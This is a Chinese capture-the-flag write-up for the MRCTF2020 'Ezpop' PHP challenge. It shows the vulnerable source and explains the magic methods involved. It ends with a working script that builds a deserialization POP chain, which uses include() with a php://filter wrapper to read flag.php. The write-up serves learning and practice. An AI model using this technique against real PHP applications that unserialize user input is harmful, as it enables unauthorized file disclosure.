[MRCTF2020]Ezpop

题目源码

  • pop链的构造
  • 题目源码
 <?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

魔术方法

wakeup

  • __wakeup()是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查时候存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。
  • 举个例子
<?php 
class test
{
    public $a='111';
    function __wakeup(){
        echo '__wakeup';
    }
}
$a = new test();
$b = serialize($a);
$c = unserialize($b);
// 输出结果为__wakeup
?>

tostring

  • 打印一个对象的时被调用。如 echo $obj.
<?php 
class test
{
    public $a='111';
    function __toString()
    {
        echo '我是test的实例对象';
    }
}
$a = new test();
echo $a; //我是test的实例对象
?>

invoke

  • 将对象调用为函数时触发
<?php 
class test
{
    public $a='111';
    function __invoke()
    { 
        echo '对象当函数用';
    }
}
$a = new test();
$a();//输出:对象当函数用
?>

get

  • __get() 用于从不可访问的属性读取数据

构造pop链

  • 看到include函数第一个边想到了利用文件包含去读取文件
  • 这里尝试将var赋予值php://filter/read=convert.base64-encode/resource=flag.php
  • 最后利用test类的__get函数去调用__invoke中的include
  1. 首先当进行反序列的时候,会调用__wakeup()函数
 public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
  1. 如果想继续构造下去 就要在$this->source上搞点事情,show类中有一个__tostring()函数,所以如果$this->source依然为一个show的实例化对象,则会调用到__tostring()函数
    public function __toString(){
        return $this->str->source;
    }
  1. 这里我们再将str赋值为test类的实例化对象,此时$this->str为test类,没有source属性,就会调用到函数__get()
    public function __get($key){
        $function = $this->p;
        return $function();
    }
  1. 这里我们再将test类的实例化对象p属性赋值为modifier类的实例化对象,return $function()就会调用对象函数,进而用到了__invoke函数的文件包含
  • 所以最后的代码为
<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$a = new show();
$a->source = new show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo serialize($a);
?>
  • 运行结果get传参
  • 流程图
a Show类
source Show类
str
souce
str Test类
P Modifer类
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值